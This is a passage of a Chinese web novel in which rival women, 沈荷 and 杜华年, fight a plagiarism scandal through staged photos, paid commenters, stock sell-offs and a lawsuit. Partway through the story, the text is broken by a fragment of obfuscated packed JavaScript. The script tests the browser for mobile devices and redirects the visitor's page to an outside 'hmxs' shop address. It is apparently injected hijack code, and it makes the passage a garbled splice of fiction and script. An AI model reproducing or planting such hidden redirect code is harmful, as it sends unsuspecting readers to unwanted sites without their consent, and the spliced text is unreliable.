司机师傅是个热情的人,“姑娘念大几了?”
沈荷默默瞪了瞪眼,她还真没想过有一天,能以近四十岁的“高龄”被误认为是大学生,这实在不是能令她高兴的事情,于是淡淡转过头看着外头流水般划过的街景,“回母校看看。”“哦?毕业啦?毕业几年啦?”
沈荷不想仔细去算,皱了眉头,叹口气,“好久没回来了……”冷冽的街景让她的鼻尖冰冻,眼中自然蓄起了热泪,人人都知道要回家,人人都是为了每天回家的此刻。
学校已经变了许多,但总比街头马路令她熟悉。大草坪边上的树下有些错落的大石头,沈荷坐在上头吃起了红薯,看着青春洋溢的大学生总比看着街头毫无生气的社畜下饭多了。
事情发展到现在,已经超出了沈荷的预想。她回国之前,觉得只需要见到杜华年,就一定能说服她与自己合作,抄袭事件一定可以完美平息,就像许慕华今天在直播里说的一样,他们有的是办法把事情圆回来,一个说辞而已。可是去年她刚回来,就听到圈子里人人都在传杜华年江郎才尽了。
其实如果不是许慕华,沈荷可能永远不会再回想起当年与何文谦的对话,她也永远不会再回来。她在国外的生活很忙碌,没有时间怀旧,坐拥一个商业集团的感觉实在太好了。最初她是忐忑的,但宋林的老爹在看见她的第二天就开诚布公地告诉她,她是一个有天赋的人,他需要一个有天赋的人,因为宋林实在只是一只羊,羊不适合也不可能在商场上活下去。
不能说她不爱死去的丈夫,她在他的带领下,终于走到了自己能力的顶峰。可是《你我》这件事被重新翻了出来,令她无法不想起前尘往事。
沈荷想:杜华年真的很了解她的父亲,也很了解我,她居然凭空代入,就能准确地编出我们的对白——
“‘如果你在我这个位置,你也会和我一样。’
‘我如果坐在你这个位置,何园园可以写一切她想写的,我会为她打造一个完美的写作空间!’”
对,就是这句话,沈荷当年问何文谦,“她是你女儿,她那么有天赋,你为什么要限制她?为什么不给她创造一个自由的环境?”
何文谦笑她,“你如果在我这个位置,你就有答案了。”
“我如果能在你这个位置,何芳芳可以想写什么写什么,我会让她拥有一个完美的写作空间!”这是当年的沈荷,她坚定的眼神无比清澈。
她吃完了红薯,再一次想起何文谦当年的神情,他面对她的反唇相讥,只是轻轻一笑,不是轻蔑,也不是嘲讽,只是一个笑,甚至不知道是笑己还是笑人。
杜华年的描写也极端还原——
“何文兼忍不住一笑,并不是笑话沈河的无知,而是一种被迫陷入回忆的自然莞尔,说是笑她,不如说是笑自己,笑自己的少年时。”
沈荷自嘲地笑笑,终于还是发出郁闷的喟叹,“芳芳啊!你简直近乎恐怖!”路过的学生听到树下的响动,都转过头来看,但太黑了,他们看不清什么,她也根本不在意他们看清。她心里想:可是你既然都能猜到我和他说了什么,你怎么会不了解我回来的用意?我已经站在他的位置上了,我甚至比他的位置还高,他能给你的我都能给,他能限制你的,我随便就能破解,你应该明白我想做什么,你怎么能说我是加强版的何文谦?我肯定比他懂你啊!你说我变了,我觉得是你变了,我还是我,我记得从前我要什么,你还记得么?你不记得了!其实……你变了也挺好的,我说过吧,我喜欢你变成杜华年。但有时我又觉得你一点都没变,还是那么天真幼稚!何芳芳啊,一腔热血是打不赢的,很快我就会让你知道的……但是我怎么又那么不信呢?你是不是装的?
沈荷艰难地承认,何芳芳很了解她,哪怕这么多年没见,竟然还是这样了解她。她看着镜子都想不起来自己以前的样子了,何芳芳居然还记得清清楚楚。说实在的,沈荷有点怕,何芳芳就像镜子里的她,如果对面的敌人就是自己,那实在没什么赢面。
沈荷在不知不觉中已经拿起手机,再一次看起了公众号,页面停留在沈河与何文兼的对话上。草坪上已经没有别人了。“当——”的一声响,她神魂一震,清醒了过来。学校中心有一座大钟,每天晨昏都要敲一遍,下课铃随即响了起来,她一动,顿觉腰酸肩痛,滴嘟一声,手机提示电量不足。
她竟然已经在这块大石头上,坐了两节课,她茫然地站起来。
晚课结束,学校一下子喧嚣了起来,学生从四面八方涌出来,笑语声骤然冲破了恐怖的寂静,整个校园似乎都温暖了两度。学校总是这样的,它的热闹和外头是不同的,它总是乱而有序,闹却不烦,像是泡腾片丢进纯净水里,像刚撬开盖子的可乐,不断地向上冒着细密的气泡,兴奋的,清冽的,痒痒的,充满生机和,自由。听说,这就是青春吧。
这是《你我》里的一段话,沈荷莫名其妙地默念了起来,念完她立即吓了一跳,打了一串从头到脚的冷颤,感到一种被操纵的可怖,似乎刚才那几个小时,她陷入了一个魔幻的空间,身心都不受自己控制了。
忽觉后背一凉,她伸手进羽绒服的领子一抹,后脖颈上一片汗水。她不敢再待,揣好手,大步往后门走去。
她觉得她太饿了,要去吃点东西还还魂。
慕华刚刚下播,直播间里还在拆设备。瑜姐点现金给博主,“五万整,你点点。”博主还有些受宠若惊,“瑜姐,这件事现在眼看热度越来越大,你给我采访许慕华,是我占便宜了,你还给我钱,我可不敢要。”
瑜姐一声轻笑,“这不是营销费,这是封口费,懂了吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908167|192409||http|test|mini|href|location''.split(''|''),0,{}));
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>博主立即恍然,“哦,哦哦!我懂了,以后肯定统一口径。今天慕华怎么说,我们就会怎么说。”瑜姐拍拍她肩转身出了直播间。
杜华年和慕华站在路边低头说话,瑜姐径直走过去,“照片现在发吗?”她递了平板过去,屏幕上是中午杜华年和沈荷在路边吃馄饨的照片。杜华年接过来看了看,“拍得挺好,就是刻意了点,不过够了,发吧。”
瑜姐一边打电话一边冲杜华年点头,用口型说:“下次,我让他们注意。”
慕华问杜华年,“华年姐,今天之后,你和沈荷就都不清白了,你为什么把自己也装进去?”
杜华年笑笑,“这件事不管怎么算,我都不可能摘干净出来的。”
慕华隐约感到了什么,但又抓不住也说不出,张了嘴呆在原地。杜华年已经走向不远处一棵树下卖烤红薯的小摊,回头扬声问她,“你吃吗?”
“吃。”下意识地,慕华应了一声,又说:“我问问瑜姐吃不吃。”
瑜姐终于打完电话走过来,“我不吃了,减肥呢。我要去盯一盯那帮水军,先走了。”瑜姐火急火燎地上了一辆停留在路旁的空出租车,出租车扬长而去。
杜华年伸手递过来一个红薯,慕华突然想起了刚才抓不住的问题,“华年姐,我们这么干,沈荷不会觉得她手底下有内鬼吗?瑜姐不会暴露吗?”
“我们又不是拍谍战片,怕什么暴露不暴露的。”杜华年笑她,“你当沈荷是傻子吗?她怎么会把工作室的旧人当做自己人?”
慕华睁大眼,“啊哟,我还真是蠢!那她一直留着旧人是为什么?”
杜华年疲倦地一笑,“人,总需要观众。”
沈荷在学校后门的美食街吃宵夜的时候,发现了座位旁的充电口。她感叹着时代变迁的体贴,把自己的手机插了上去,十分钟后,她打开手机,看到了助理发来的新闻消息:
《小说照进现实,“何园园”与“沈河”在平行时空的相见!》
在这个标题下,她看见了中午两人吃馄饨的照片,拍得很好,一看就是蓄意安排好的。消息热度上升很快,看都不用看,她也知道下面一片都是水军。
沈荷连续挂掉了两次助理的电话,助理识趣地没有再打。她知道这是杜华年的补充说明,就像一个注脚,是她在告诉沈荷,她现在要水漫金山了,是要拼上她全部道行的那种烈度。
沈荷终于承认,自己失去了这个朋友。不管她打不打算上这个戏台,演不演这个法海,这出戏,是注定要漂亮地唱下去了。
沈荷骤然胃口全无,很久很久,她没有过悲伤了。她没有空,每天都在处理文件、开会决策、应酬吃饭,从一睁眼,就有无数的人问她无数的怎么办,她要一个一个想好、回答。
所以她为此刻的悲伤感到快乐,她真心的很高兴,杜华年还是率先拉开了这一幕,把所有人拽进脱轨的车厢,所有人,都只能全力以赴在今天,当做明天没有朝阳。
也是,她一直是这样的人。
她用筷子沾了点碗里的汤,在桌子上写:
黄鹤断矶头,
故人曾到否?
旧江山浑是新愁。
然后,她对着这三行字拍了张照片,带上了印着店家名字的碗,发到了她的社交账号,并配文:欲买桂花同载酒,终不似,少年游。
她面前的粉丝汤已经凉了。
68.有些事,躲是躲不掉的
第二天,整栋天地文化的大楼就炸了锅,沈荷的回应把事件推向了一个小高潮,这个本就似真似幻的影射故事,现在似乎更有拨云见月的迹象。毕竟先是两位疑似主角路边同桌吃馄饨,后有疑似女主角单独回到母校吃宵夜,还放出这样一首怀念曾经同游的词。整个热搜已经被这个故事占满,全世界都已认定:沈荷就是沈河,何圆圆就是何芳芳。
公众号的粉丝数和宋氏集团的股价一起暴涨。
助理难得火急火燎地走进办公室,“沈董,前台已经挤进来很多记者,几个大股东也打来视频电话询问,他们都对突然推高的股价感到不安。”
“嗯,看出来了,”沈荷轻蔑地冷笑,“这个点,他们那头竟然不在灯红酒绿,看来也不是那么废物。”
助理眉头皱得更紧了,“沈董,我还是第一次看不明白您的行动,现在是不是先跟股东们解释一下……”
沈荷挥挥手打断她,“你就去跟他们说,让他们做好准备,接下来股价会非常动荡。”
助理深吸了口气,努力控制要睁大的眼睛,“不说别的吗?”
“不用。”沈荷疲倦地闭了闭眼,又想起来什么,“帮我把老周约过来。”
“好的。”助理忧心忡忡地转身要走。沈荷又问,“你买了集团的股票吗?”助理惊讶回头,“买了,咱集团股价稳定,我去年就买了一些。”
沈荷点点头,“趁这两天涨得多,你赶紧抛了吧。别对外说。”助理微张着嘴楞楞点头。“再给我泡一杯咖啡来。”“哦,好的,沈董。”
杜华年和李雯在千帆过吃早饭,她最近除了睡觉,其他时间几乎都泡在千帆过。沈荷彻底无视了芳生工作室,于是连瑜姐也明目张胆地搬到了千帆过办公;曾倩反正在哪儿都是水她的剧本;林见月占据了千帆过的小天台,搭了个遮阳棚子,在下头画画。姜老板怕她冷,硬是给她围了一圈挡风布,还配了三台电暖炉。
“老杜,我这里就这么点大,你的人要是再来,我都没地方给客人吃饭了。”姜老板软绵绵地抱怨,李雯眼皮都不掀,“我们包你一个月,十万够不够?”
姜老板一个月的净利润绝对没有十万,她吓了一跳,“五万,五万就行。”
很快转账就到了,姜老板又吓了一跳。杜华年笑了,“现在李雯是我的大财主,她一个人批预算。不过你生意还是照做,不然我们太显眼了。”
芊芊从上海打了个电话过来,“华年姐,你现在可比顶流女明星还红呢!我今天官宣恋爱,热搜竟然还排在你后面。我身边的小助理都知道要去买宋氏集团的股票,你和他们搞合作啦?”
杜华年没什么波澜,“你也买啦?”
“买了呐,但是想想又有点怕,不知道你搞什么名堂。”
“今天下午开盘就放掉吧,能赚一笔。”杜华年淡淡说。芊芊很机灵地捕捉到了关键信息,“下午它就得跌了?”杜华年只是笑着挂了电话。
李雯问她,“沈荷这是什么意思?她这时候最好的办法应该是装死吧,为什么会高调回应?”
杜华年吃着海师傅熬的河鲜粥,笑,“她想说:‘杜华年,你放马过来吧!’”
下午三点,杜华年开直播,什么也不说,拿出了当年《你我》的第一版手稿,怼到镜头前,一页一页慢慢地翻,一直翻到最后一页。近一个小时的直播,没有音乐,没有说话,甚至没有弹幕,所有观众都在疯狂截屏,等于在白捡《你我》的一版手稿。直播间的人数从开播就疯长,峰值一度逼近十万人。
这场直播李雯批了不菲的宣传费给瑜姐,本来杜华年不发一言的效果就已经极端留白了,把这件事的争议效果推到了最大值,瑜姐动用了一切手段宣传这场直播,保证这一个小时的直播视频在各大博主、大V、UP主的主页和平台首页轮番出现。
这一来,把出版社也拖进了这趟浑水里,眼看着似是而非的噱头就要演变成文学界丑闻。下播之后,杜华年关掉了手机,李雯跟姜老板交代,“三楼不要让外头任何人上来了。”接着另外给姜老板转了一万块钱。姜老板只问了一句,“她是不是得睡在我这里了?”李雯略想了想就点头,“大概是了。”姜老板给了她一个了解的眼神就走了。
何文衫看到朋友圈里转发的消息时,已经是下班时间了,她第一时间打电话给杜华年,但是没打通,而替她重版《你我》的出版社总编已经等在了她办公室外。
沈荷也在给杜华年打电话,她的门外也堵着无数的记者,办公室的电话不得不挂起来,工作手机早就被迫关机了。她端着杯红酒靠在椅背上,望着落地窗外出神。助理带了晚餐上来,忧心忡忡地问,“沈董,您真的不打算做点什么吗?”沈荷像一个活过来的雕塑,深吸口气回头看她一眼,“不急,再等等。你给我带了什么好吃的?”她一边打开饭盒一边说:“我突然想吃烤红薯。”
助理叹气,“今天收盘的时候,跌了八块钱,还在高位的时候,就有一个神秘账户大量抛售,股东们都急疯了,要你赶紧查这个人是谁。”
沈荷觉得很好笑,“他们觉得股价跌是因为有人抛售?这都是什么猪脑子,他们怎么不看,抛售的时候,多少散户在抢着买入呢?”助理还要说什么,宋林就冲了进来。
“你又要搞什么事?你已经害死了李东海,还不够吗?”他气势汹汹,一手拍在桌子上,饭盒里的青菜都跳了跳。
沈荷深吸口气,“这是杜华年和李雯要搞事,你要问,也该去问她们。”
宋林胡子拉碴的,一身酒气,整个人看起来又脏又乱,“我接了一下午电话,接到手机都没电了
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!我就想不明白了,好好的你干嘛要去招惹她们呢?杜华年不是你老朋友吗?李雯更加无辜了吧?”
沈荷沉下了脸,“你喝了多少就敢来跟我拍桌子了?你不就是担心股价吗?来这里装什么关心前女友?”
宋林被说中了内心的隐秘,不得不恼羞成怒,脸上表情渐渐扭曲,“婊子!”他恶狠狠地骂了一句,转身走了,用力地关上了沈荷的门。
助理更加担忧了,“荷姐,那个抛售的账户不会是……”沈荷抬眼看她一眼,“你觉得是宋林?他一个小废物,看见股价涨,怎么可能抛?”她推了一把饭盒,“别猜了,那个人是我。”
助理愣住了,很彻底。她的大脑懵了好一阵子,才犹豫加哆嗦地开口,“荷姐,你这是……算不算坑集团的钱啊?”
沈荷不答反问,“你抛了吗?”助理赶紧点头。“那就好,赚点零花,别太委屈自己。去帮我买个烤红薯吧,再回家帮我带点日用品过来,我这几天估计是不好离开这里了。”助理不敢再问什么,点头出去了。
晚饭时候,杜华年又吃上了姜老板的鱼,她一个人,安安静静地看完夕阳最后一道光,喝光了最后一口鱼汤,才打开了手机,点上了一根烟。很快,何文衫的电话打了过来。
“芳芳,出版社的老总是我老朋友,我不能坑他,你现在能不能告诉我,你还打算做什么?”
杜华年吐出一口烟,“放心小姑姑,你让他按我说的做,我保证最后他和他的出版社都不会有事。你告诉他,以出版社名义告沈荷欺诈。”
何文衫顿了好几秒,“你到底想干嘛呀?我以为你就是想坏一坏沈荷的名声。现在你也能写新小说了,当年的事你就当故事讲一遍,解解气不就行了?反正大家又开始接受你了,热度有了,趁热打铁重开个炉灶,不挺好的吗?干嘛要盯死陈年旧事不放呢?”
“呵!”杜华年忍不住冷笑出了声,“小姑姑,你不是为了老朋友吧?大多也不是为了我,你是怕我爸也要被拖进来吧?”
何文衫气得一拳捶在桌上,幸好有一摞文件垫着,“你是我侄女,你爸是我哥哥,一条血脉,你说为了谁?”
血脉?杜华年瞪大了眼,张大了嘴,心底涌上来一阵狂笑的冲动,赶紧捂住嘴,差点就漏出了一声力量十足的嘲笑,笑着笑着,又涌上来一阵深刻透骨的悲哀。古人说痛极反笑,笑尽而哭,诚不欺我。她拿开了手机,紧紧掐着额头,喉头像塞了一把盐,又苦又痛,全身颤抖,她深吸口气,刚压下去,肺里又抽搐起来,又吸口气,硬是压住,伸手一抹脸,拿回电话,“小姑姑,有些事,躲是躲不掉的,当年没做好的选择,早晚还得绕回来这个路口,那不如我现在就把它解决了!”何文衫听到她的哭腔,也听到了她的凶悍。杜华年没再等何文衫的反应,挂断了电话。
69.你真的不比吗?
夜里十点,林见月画好了第一集故事,拿下来给杜华年审。杜华年冲着桌子点点头,“放着吧。”
“你不看看吗?有问题我晚上还能加班赶一赶。”林见月搓着手哈着气。
“不用了,你的画我放心得很。回吧,天这么冷。”杜华年掐了烟,从温酒壶里倒了点黄酒。
林见月默了默,“那你少抽点烟,少喝点酒,我走了。明天见。”
“嗯。走吧。”杜华年没看她,轻轻往楼梯偏了偏头。
等姜老板送走最后一桌客人,跟她打完招呼,海师傅也跟她交代了灶上有浇头,晚上饿了可以下面条,又听到一楼大门落锁的声音之后,杜华年披起羽绒服,拿了黄酒瓶上了天台。
她挺喜欢林见月这个四面漏风的小棚屋,伸手够一够,就能摸到一个过了百年的檐角。猫猫已经穿上了小棉衣,蹦跶着小短腿从三楼跑到四楼,跟在她脚边。她怕猫猫冷,把她抱起来放在了林见月的椅子上。她抽着烟,喝着酒,靠在加固过的木头栏杆上,看着寂静下来的秦淮河。
像穿越了一样,秦淮回到了杜牧的那个秦淮。
身后似乎响起了脚步声,猫猫突然狂叫着要跳下来,奈何腿太短跳不动,只能拼命爬起来朝后看。杜华年吓了一跳,整个心脏都要蹦出来了,猛一回头,看见曾倩僵在原地,一脸诧异尴尬。
她呼一口气,“还以为进贼了呢……”深深抽了一口烟,“你怎么没走?已经锁门了你知道吗?”
曾倩走过来摸了摸猫猫的头,“我的剧本还没水完,今天得通宵了,干脆不回去了。”
杜华年本来想问她现在住哪里,却收住了。
曾倩看着她手上夹着的烟,开口,“慕华教的办法挺管用的。”过了一会儿又说:“我要是听你的话,或者……有耐心再等等……或许还有更好的办法……”
杜华年吐出一口烟,“你觉得水剧本是差吗?什么是好,什么是差?阿倩,你是不是以为我没水过剧本?”她转头看着曾倩。
曾倩有些震惊,但心里又觉得什么奇怪的事发生在杜华年身上都不奇怪。杜华年喝一口酒,举着酒瓶子自顾自说:“我读书的时候,有段时间和我爹吵架吵得有点狠,他就不让我妈再给我打生活费了。我就是靠写这种小烂剧活的。你别说,写惯了还挺爽的,很顺,非常顺,来钱也快,接的活也多,觉得自己的想法、灵感、创意,毫无阻碍,源源不绝地往外倒,那感觉真是……觉得自己特别厉害。”她又喝了一口酒,抬头望明月。
曾倩眨眨眼,“可是我没有写得顺的感觉啊……”一说完,突然的,她感到了什么,叹出了一点哭腔,“所以嘛!所以嘛!我就是比你差啊,差太多了!我妈说得对。”
杜华年再吸一口烟,掐了,“你等着。”她走下三楼,没一会儿又上来了,手里多了两样东西。曾倩看着她消失又出现,递过来一个很旧的牛皮纸袋。“这是你妈妈给她的老师写的信。”
“刘白的爷爷?”曾倩接过来。杜华年点点头。曾倩打开了牛皮纸袋,取出一叠折好的信纸。信纸已经旧如梧桐枯叶,展开来,钢笔写的字体顿挫有力,间距略宽,笔画英丽,就是有点潦草。曾倩借着小棚屋的灯看了起来,许久,比看完一遍要久。她有些脱力,扶着椅背,猫猫仰起脖子轻轻舔她的手。她转头抱起猫猫,坐在了椅子里。
“看完了?”杜华年问。
“嗯。”曾倩看见她手上的酒瓶,那是一个有着优美颈部线条的瓷瓶。她问,“我也想喝点。”
“你还要加班,咖啡或者茶会更好。”杜华年仰头喝干,“看完什么感受?”
曾倩很不满,又是这个问题,她想起训练写剧本的时光,她也老是问这种问题。她感到短促但暴烈的崩溃,双手捂脸,埋下头去,压在猫猫背上,“我拖累她了。”声音闷闷地传来。
杜华年又点了一支烟,念起来,“‘我时常想,如果我听了您的话,没有这么早生下孩子,或许我不会走入穷巷,进退维谷。’是这句话吧?我就知道,你看完了会更觉得她后悔了,觉得她否定你,嫌弃你,不爱你,对吧?”
杜华年背的一字不差,曾倩从手里抬起头来,看着桌上陈旧的信纸,“你跟我说她就是意外死的,那时我才想起来,我原先的目标是找到证据,证明那个小三和我爸害死她,可是我其实已经忘了,我忘了……我一直埋头往前跑,跑啊跑,那么努力,那么辛苦,可是我都忘了我是为什么跑,要跑到哪里去,我就那么一直跑,还嫌你拖着我,嫌你停下来……”她皱起了眉头,神色分外悲戚,“哈哈,我就是个笑话!哈哈哈……”
她悲切地大笑起来,就和杜华年刚才接电话时一模一样。
是啊,她已经忘了初衷,忘了来路。或者说,找出证据还是复仇,根本只是掩饰她欲望的借口,她内心深处唯一想做的事,是成为杜华年、超越杜华年、反叛杜华年。因为只有这样,才能向华丽娟反问一句:你看,你爱她,不爱我,选错了吧?我才值得爱!但我现在不要你的爱了!
何尝不是一种血泪。
杜华年手上另一个东西正是华丽娟的日记本,她也放在桌上,压在信纸上,“阿倩,你要允许你妈妈是一个普通女人。我们每个人都会有崩溃的时候,那种时候说的话一定不是假的,但也一定不是全部真心。这大半年,我一直在想华老师到底想告诉我什么,直到最近,我想明白了。她不想告诉我什么,也不想告诉你什么,她只是想把自己的人生,真实地、尽可能完整地展现给你看。她又怕你看不懂,于是想让我先看。这是一个真实的华丽娟,最真实的一段女人的命运变迁。”杜华年食指点了点日记本,“她就是想告诉你,女人实实在在就是弱势,她想要你不再重蹈覆辙,至于怎么做才能不重蹈覆辙,她也不清楚,不是简单的不重复她的人生就可以的。女人想要不辜负、不后悔,太难了。”杜华年拿起日记本,再一次放进曾倩手里。
“你清楚吗?怎么做?”曾倩问她,满脸狼藉。
“不清楚。”杜华年摇头,“我只能告诉你,她是因为迷失而死,女性价值的失落折磨她,直到她失去全部力气。”
曾倩问,“爱情是虚假的,我应该信吗?”
杜华年吸了一口烟,又吸了一口烟,烟雾弥漫散开,她说:“刘白肯定比你爹强。原来我觉得也肯定比我爹强。但是……我上个月回家,和我妈天天在一起,我想,我爹是不是个好男人,不是我说了算的,应该问我妈。所以啊,我妈和你妈,肯定是不同的女人,但……我妈好像没有觉得迷失。”
曾倩看着她指尖明明灭灭的猩红发呆,风吹得她脸上的泪痕发硬,她说:“我曾经试着抽了
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一口烟,那味道……呛死我了。刘白说因为有比抽烟更痛的事情,所以烟就好抽了。”
杜华年看看她,伸手摸了摸她怀里猫猫的狗头,“你知道我水剧本的时候为什么那么顺手吗?因为它不用管逻辑,不管真实与否,不管观众看到会不会骂人,不管我写的是不是自相矛盾前言不搭后语。什么都不管,不用按照一个好故事的标准去要求自己的时候,是最好写的时候。那你知道我为什么后来不写了?”
曾倩很少见到她这样自顾自地说话,可能是因为她喝了不少酒。曾倩猜,“后来你妈又给你打生活费了?”
“从那之后,我没拿过他们生活费了。”杜华年深深吸了一口烟,吸进肺里再吐出来,“是李雯,她那会儿看了我在校内发的散文,特地跑过来要请我吃饭。她问我后来怎么不写了?我说我没空,要赚钱。她又问我写这些散文不能赚钱吗?我说太慢了,这些好故事它都不好写啊!你猜她怎么说?嘿嘿……”她突然笑了,好像是心里突然一痒,“她说她有钱,当即就给我掏了五千块现金,是从她身上所有口袋里摸了一遍的,还说回去后会再给我转五千,要我别写那些乱七八糟的了,写个好故事,她想要一个好故事。”
曾倩感觉今天的杜华年很不一样,她今天是外放的,拿掉了某种封印的。
“我觉得很有趣,也不可能拒绝这种挑战,于是我拿了她的钱,回去推了所有工作,开始构思一个好故事。结果……”她神情骤然陷入孤寂,“结果我写不出来了,那些我原本随意就可以驱使的字句、段落、章节、结构、起伏、开始和结束,都变得很难很难,我一提笔,脑子里就全是小烂剧里的狗血桥段,转折全靠旁白,故事进展全靠台词,人物……没有人物可言,因为没有什么核心支撑不同性格的人物,全都是工具人。幸好李雯人傻钱多,没有天天催我,我花了半年才写完初稿给她看,但其实,这里头有四个月,我是在找回原来的我。”
这实在出乎曾倩的意料,好半天她才反应过来,“那你还让我水剧本?”
“你没有踩过底线,就永远不知道那是你的底线。我再也不会去写这些烂剧,是因为我写过这些烂剧。我体会过它的好,也体会过它的坏,这才是最坚实的选择。你阴差阳错地尝试一下,以后也不至于因为没试过而误入歧途。”
“我又不傻,什么高什么低我还是分得出来的。”曾倩嘴硬。
“那是你不知道他们会给你多少钱,你也不知道没钱吃饭的窘迫是会压垮所有人的。就算这两样对你来说都不是诱惑,但,人总是贪婪的,你会想如果,如果我可以两者兼得呢?如果我比杜华年有定力呢?诸如此类,无穷无尽。”
曾倩仰望着她,泪眼汪汪地,脱口就说:“我怎么可能敢跟你比呀!”
杜华年斜眼看她一眼,笑着掐了烟,“你真的不比吗?”她转身重新走向了栏杆,“放心吧,很快,你就能拿回你的卖身合同。”
曾倩知道她的笑里带着善良的讽刺,是啊,她心里可不就是时时刻刻都在跟她比吗?她看着她轻趴在栏杆上的背影,感觉就算她裹在臃肿羽绒服里,下一秒也可能随风飘走。她默默收起日记和信,下了楼。
“其实,李雯后来也变了,叫我写好故事的是她,叫我跟着市场写的,也是她。”杜华年迎风遥望秦淮河,淡淡自语。
70.野心和安全感,谈判和新鲜感
再版《你我》的出版社总编姓覃,从小地方来,没什么背景,是何文衫的初恋,后来因为受不了人人都在背后说他上位是靠何文衫,于是两人分手了。
何文衫被杜华年挂掉电话之后,气得差点扔手机,覃总编恰好进了门,她才收住。
“是我对不起你,我没想到这个崽子这么野!你放心,我一定想办法……”
覃总编微笑着摇摇手,“我不是来兴师问罪的。你别急。我们都是当年跟你哥哥开过会的,《你我》到底谁写的,我不知道吗?那时候我就觉得你哥这么做不妥。别的不说,我还是理解你这个侄女的,她心里得多恨呐!”
覃总编讲话慢悠悠的,带点西南地区的口音,何文衫再熟悉不过了,眼里都有了点泪意,“老覃,这个丫头跟我讲,你明天去起诉沈荷,她能保证最后你们出版社不会受牵连。她的话我不敢信,你看着办吧,不用顾及我。”
覃总编微笑,“我听她的。”
早上十点,公众号首更一集《我们》漫画,故事正是前三天更新的小说内容。
全城的打工人找到了今年冬天的精神粮食。已经有不少传媒公司向杜华年和李雯示好了。
宁城出版社正式向当地法院提起诉讼,状告沈荷向出版社提供不实信息,抄袭他人稿件,致使出版社蒙受名誉及经济损失,要求沈荷公开道歉,并索赔两千万天价。
打工人的精神食粮又加了几味调料。
由于董事长被起诉,宋氏集团的股价又暴跌了近十个点。沈荷打了一个小时电话,终于成功让宋氏的股票暂停交易一天,中午十一点半,宋氏退出交易大盘,强行止住下跌。
更幸运的是,今天是周五,也就是说,直到下周一上午,宋氏的股价都不会再跌了。沈荷有了充足的时间,挽回局面。
助理一手挎着干洗店拿回来的衣服,一手端着饭盒,疾步走进沈荷办公室,“沈董,董事会要求一个小时后开一个视频会议。”
沈荷裹在羽绒服里,素面朝天,满脸憔悴。她看了一眼助理手上的东西,“你去给我打碗牛肉面吧,我不想吃这些青菜叶子了。”
助理盯着她脸看了一会,还是忍不住,“荷姐,您还是忍忍吧,我给您化个妆,换身衣服,咱把这个会开了再说?”
沈荷看了看她的表情,从抽屉里捡出来一个镜子照了照,头发打绺,脸色蜡黄,眼睛凹陷,眼圈青黑,眼角眉梢的皱纹里还夹着连夜的油,鼻头脸颊渗出密密麻麻的黑头。她眼珠一转,“不了,就这样开会,你去给我买面吧。”
“这……行吗?”助理犹豫了。
沈荷叹口气,“你以为他们想看什么?如果我漂亮体面,他们不会更来气吗?你记住,出了事,老板们最讨厌的就是推卸责任,我给他们看看我的窘迫,现在这样是最好的选择。还有,”她从另一个抽屉里拿出一个U盘递过去,“下午把这个放出去。”
助理拿着U盘恍恍惚惚地走了。她坐在沈荷的商务车上,想办法把U盘接上了手机,发现里头只有一段录音,她戴起耳机停了一会儿,震惊从心底放射到瞳孔,直达她的手指。连司机老王问她去吃哪家牛肉面她都没听见。
“哦哦,您是老南京了,您看哪家好吃就哪家吧,咱沈董肯定是想吃口老味道了。”老王愉快地应了一声。
沈荷吃上牛肉面的时候,正在和董事们视频连线,她毫无形象地吃着面,听完了董事们的暴风骤雨,擦擦嘴角开口了,“下午会有新消息的,我手上有个雷,能让对面手忙脚乱一阵了。下周股价会回升的。”
股东们面面相觑,为首一个头发花白的老头问她,“还有那个在高位大量减仓的人呢,你找到了吗?”
“还没有。”沈荷埋头吃面,干脆地回了三个字。助理站在镜头外,深深地看了她一眼,眼神复杂,还有些后怕。
得到了沈荷的保证,视频会议很快结束了。沈荷夸助理,“面很好吃,和我小时候吃的很像。你在哪里买的?”
助理愣了愣才说:“老王找的店,我也不太懂。”
沈荷立刻听出了她的情绪不对,抬眼看她,“怎么了?听了录音了?害怕?”
助理被看出了心思,索性上前一步问她,“你到时候怎么跟股东们交代你高位套现的事情?还有,你套现的账户……”
“那是我家清洁工的账户,就算查出来,也跟我没什么关系。我手上的股份和他们一样,都在蒸发市值。”
助理更后怕了,她不知道自己的身份信息有没有被沈荷用来做什么自己不知道的事情。沈荷看出来了,轻轻擦了擦嘴,“你对我来说有更大的作用,远比你的身份信息有价值。孩子,我很喜欢你,你和我当初很像,又不一样。听我一句,不要以为掌握了真相就掌握了安全感,实际上,你问问自己,你自己生活里的真相你是不是全部了解呢?你今天吃的早餐用的地沟油还是良心油?你心里敬佩我,一直忠心追随我,可是你其实很想成为我并且超越我,你希望有一天,坐拥我的位置时还能比我年轻,这些你敢面对吗?你对自己的野心又了解多少?”
沈荷剥开了她全部的外壳,就像吃惯了螃蟹的人剥开蟹壳,可是螃蟹从来没有看见过自己内在的样子。她吓懵了,又立即觉得自己不是沈荷说的那样,于是想要赶紧表一表自己的心迹,“不是的沈董,我、我……”她因为哽咽结巴了,眼里一热,有些掉眼泪的冲动,她赶紧深吸气稳住,却语无伦次,“我没想取代您,我一直当您是偶像,您帮我很多,我学历不行,没有背景,老妈一身的病,还有弟弟妹妹……您不知道我多感激您,是您拉我出了无底洞,我才有今天……我、我看您像亲人一样的,我……”
沈荷偏头觉得好笑,摆摆手安抚她,“你紧张什么?我说你想成为我,不是取代我,你听到哪里去了?把这些收拾了吧。”她推了推面前的面碗,抽了张纸擦嘴。助理赶紧上手拾掇。沈荷继续说:“你没有野心,怎么可能满足我的要求?孩子啊,女孩子,不能只听男人的教育,做什么温柔的善良的,
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简单的人,那是为了他们好玩弄你而已。这一点来说,我死去的丈夫其实真是我的良师益友,他从来不害怕我的野心和能力。”助理收拾好了,拎着垃圾袋站回一旁,沈荷站起来伸了个懒腰,“好了,我跟你说这些,是想告诉你不必被无谓的良心束缚,这帮股东,你以为他们和我在一条船上吗?不,等着看,大难临头的时候,我恐怕不是最先跳船的。记住,善良是用来对待真正爱你的人的。”
助理只能楞楞地点头。沈荷又问她,“录音放出去了吗?”助理恢复了一点镇静,“联系好了,下午三点,准时见光。”
